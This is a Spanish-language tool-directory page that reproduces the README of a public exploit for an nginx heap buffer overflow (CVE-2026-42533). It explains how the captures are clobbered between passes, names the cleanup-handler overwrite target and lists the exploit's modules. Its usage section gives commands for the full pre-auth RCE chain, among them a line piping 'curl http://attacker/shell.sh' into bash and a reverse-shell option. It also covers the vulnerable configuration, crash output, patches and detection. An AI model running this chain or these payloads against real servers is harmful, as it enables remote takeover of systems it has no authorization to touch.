Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42533 — Exploit para el desbordamiento de búfer del heap de nginx (CVE-2026-42533) que proporciona RCE previa a la autenticación mediante la sobrescritura de captura en dos pasos. Incluye módulos de fuga de información, heap spray y shell inversa. | Kitploit
Herramientas/GitHubGitHub/imbas007/cve-2026-42533
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónDesarrollo de PayloadsExplotación de Binarios
GitHubimbas007/cve-2026-42533

CVE-2026-42533

Exploit para el desbordamiento de búfer del heap de nginx (CVE-2026-42533) que proporciona RCE previa a la autenticación mediante la sobrescritura de captura en dos pasos. Incluye módulos de fuga de información, heap spray y shell inversa.

Ver Repositorio
329hace 25 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-42533 — Exploit PoC de desbordamiento de búfer en el montón de nginx

Ejecución remota de código sin autenticación mediante la corrupción de capturas en dos pasadas

PoC público liberado el 2026-07-27 — No esperes, aplica el parche ahora.

CVECVE-2026-42533
CVSS 4.09.2 (Crítico)
TipoDesbordamiento de búfer en el montón (CWE-122)
Afectadosnginx 0.9.6 – 1.30.3 (stable), 0.9.6 – 1.31.2 (mainline)
Corregidonginx 1.30.4 / 1.31.3, NGINX Plus R36 P7 / 37.0.3.1
Divulgado2026-07-15 (F5 / NGINX)
PoC liberado2026-07-27
InvestigadorStan Shaw (0xCyberstan)

Confirmado funcionando

PlataformaDiagnósticoDesbordamientoCaídaFuga de información
Ubuntu 24.04 x86_64✅✅✅ SIGABRT⚠️ Parcial

Resumen

CVE-2026-42533 es un desbordamiento de búfer en el montón crítico en el motor de evaluación de cadenas de dos pasadas de nginx. Cuando una directiva map basada en expresiones regulares interactúa con grupos de captura numerados ($1, $2, etc.), la estructura compartida r->captures se sobrescribe silenciosamente entre las pasadas LEN (medición) y VALUE (escritura). Esto provoca un desajuste de tamaño:

  • Captura más grande → desbordamiento de búfer en el montón (escritura fuera de límites controlada por el atacante)
  • Captura más pequeña → fuga de información (memoria del montón no inicializada expuesta, filtrando punteros de libc/montón)

Encadenadas, estas dos primitivas permiten una RCE fiable sin autenticación, derrotando a ASLR — demostrado con una fiabilidad de 10/10 en Ubuntu 24.04.

Cómo funciona

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  LEN PASS (measure)                                          │
│    $1 from location ~ ^/api/(...)$ = "abc" → measures 3 bytes│
│    $overflow_gadget = giant_header → measures 5000 bytes     │
│    Buffer allocated: 5003 bytes                              │
│                                                              │
│  [ $overflow_gadget triggers map regex → clobbers $1 ]      │
│    $1 now = giant_header (5000 bytes)                        │
│                                                              │
│  VALUE PASS (write)                                          │
│    $1 writes 5000 bytes (LEN said 3!)  → OVERFLOW!          │
│    $overflow_gadget writes 5000 bytes                        │
│    Total written: 10000 bytes into 5003-byte buffer          │
│    → 4997 bytes overflow into adjacent heap                  │
└─────────────────────────────────────────────────────────────┘

El desbordamiento corrompe las estructuras adyacentes del montón. El objetivo principal es ngx_pool_cleanup_t:

root@kitploit:~
struct ngx_pool_cleanup_s {
    ngx_pool_cleanup_pt  handler;  // function pointer → overwrite for RIP control
    void                *data;     // argument to handler
    ngx_pool_cleanup_t  *next;     // next in chain
};

Cuando se destruye el pool de conexiones, se llama a handler(data) → ejecución arbitraria de código.

Estructura del repositorio

root@kitploit:~
CVE-2026-42533/
├── exploit/
│   ├── exploit.py       # Full exploit chain (leak → spray → overflow → RCE)
│   ├── leak.py          # Info leak module (heap/libc pointer leak)
│   ├── overflow.py      # Heap overflow module (crash / RCE trigger)
│   ├── analyze.py       # GDB analysis helper for offset determination
│   └── requirements.txt # Python dependencies
├── nginx/
│   └── nginx.conf       # Vulnerable nginx configuration
├── Dockerfile            # Docker build for test environment (Ubuntu 24.04)
├── docker-compose.yml    # Docker Compose for easy deployment
└── README.md

Inicio rápido

Requisitos previos

  • Python 3.8+ con requests
  • Objetivo: nginx 0.9.6–1.30.3/1.31.2 con configuración vulnerable (ver más abajo)

1. Verificar la vulnerabilidad (seguro)

root@kitploit:~
# Diagnostic mode — shows two-pass mismatch (safe, no crash)
python3 exploit/overflow.py <target> --diagnose

Salida:

root@kitploit:~
  header=   10: LEN=   13 actual=   13 internal_overflow=    7 ✓
  header=  100: LEN=  103 actual=  103 internal_overflow=   97 ✓
  header= 1000: LEN= 1003 actual= 1003 internal_overflow=  997 ✓

2. PoC de caída (prueba la explotabilidad)

root@kitploit:~
python3 exploit/overflow.py <target> --crash

Resultado en Ubuntu 24.04:

root@kitploit:~
worker process 12282 exited on signal 6 (core dumped)
free(): invalid next size (normal)

3. Configurar el entorno de prueba

root@kitploit:~
# Ubuntu 24.04 (confirmed working)
ssh root@<your-server>
apt-get install -y build-essential libpcre2-dev libssl-dev zlib1g-dev
wget https://nginx.org/download/nginx-1.27.4.tar.gz
tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
./configure --prefix=/usr/local/nginx --with-cc-opt='-g -O0'
make -j$(nproc) && make install

# Copy vulnerable config
cp nginx/nginx.conf /usr/local/nginx/conf/nginx.conf
/usr/local/nginx/sbin/nginx

# Run exploit from your machine
python3 exploit/overflow.py <server-ip> --diagnose

4. Docker (alternativa)

root@kitploit:~
docker compose up -d --build
python3 exploit/overflow.py localhost --port 8080 --diagnose

Uso

Cadena completa del exploit

root@kitploit:~
python3 exploit/exploit.py <target> [options]

# Examples:
python3 exploit/exploit.py 192.168.1.100                    # full auto
python3 exploit/exploit.py 192.168.1.100 --leak-only        # recon only
python3 exploit/exploit.py 192.168.1.100 --crash            # verify vuln
python3 exploit/exploit.py 192.168.1.100 --cmd "id > /tmp/pwned"

# Manual mode (if you have pre-leaked addresses)
python3 exploit/exploit.py 192.168.1.100 \
    --libc 0x7f1234000000 \
    --heap 0x5a1234000000 \
    --cmd "curl http://attacker/shell.sh | bash"

# Reverse shell
python3 exploit/exploit.py 192.168.1.100 \
    --reverse-shell --lhost 10.0.0.1 --lport 4444

Módulo de fuga de información

root@kitploit:~
python3 exploit/leak.py <target> [options]

# Quiet mode (just output addresses)
python3 exploit/leak.py 192.168.1.100 -q
# LIBC:0x7f1234567890
# HEAP:0x5a1234567890

Módulo de desbordamiento

root@kitploit:~
python3 exploit/overflow.py <target> --crash     # crash worker (PoC)
python3 exploit/overflow.py <target> --spray     # heap spray only

Patrones de configuración vulnerables

El exploit requiere este patrón específico en la configuración de nginx:

root@kitploit:~
# 1. A regex-based map (clobbers capture state)
map $http_x_overflow $overflow_gadget {
    "~^(.+)$"  $1;       # regex match overwrites $1
    default    "";
}

# 2. A regex location (creates captures)
server {
    location ~ ^/api/(...)$ {   # creates $1, $2, ...
        # 3. Both capture AND map variable in same directive
        return 200 "$1$overflow_gadget";   # ← two-pass sink
    }
}

Detecta configuraciones vulnerables con el escáner público:

  • https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner

Prueba de caída (Ubuntu 24.04)

root@kitploit:~
Worker PID:  12282

[Phase 1] Diagnostic:
  header=100:  LEN=103,  response=103  ✓
  header=1000: LEN=1003, response=1003 ✓ (997 byte internal overflow!)

[Phase 2] Heap Corruption:
  8000-byte header → VALUE writes 16000 bytes into 8003-byte buffer
  → 7997 bytes overflow past buffer boundary

Worker PID:  12331  (NEW — old worker DEAD!)

Error log:
  free(): invalid next size (normal)
  worker process 12282 exited on signal 6 (core dumped)

Mitigación

Inmediata (parche)

root@kitploit:~
# Upgrade to patched versions:
# nginx 1.30.4+ (stable) / 1.31.3+ (mainline)
# NGINX Plus R36 P7 / 37.0.3.1

Mitigación temporal

Reemplaza las capturas numeradas por capturas con nombre en las directivas map:

root@kitploit:~
# VULNERABLE
map $http_foo $bar {
    "~^(.+)$"  $1;    # numbered capture → clobbers shared state
}

# MITIGATED
map $http_foo $bar {
    "~^(?<val>.+)$"  $val;  # named capture → isolated
}

Detección

  • Ejecuta el escáner de configuración: https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner
  • Supervisa los reinicios inesperados de los procesos worker de nginx
  • Comprueba la versión de nginx: nginx -v (debe ser ≥ 1.30.4 o ≥ 1.31.3)

Referencias

  • Aviso de seguridad de F5
  • Informe técnico de 0xCyberstan
  • Escáner de configuración CVE-2026-42533

Descargo de responsabilidad

Este PoC se publica con fines de investigación de seguridad y defensa. Úsalo solo contra sistemas que sean tuyos o sobre los que tengas autorización explícita para probar. La vulnerabilidad ya ha sido parcheada: actualiza de inmediato si aún no lo has hecho.

Descargar herramienta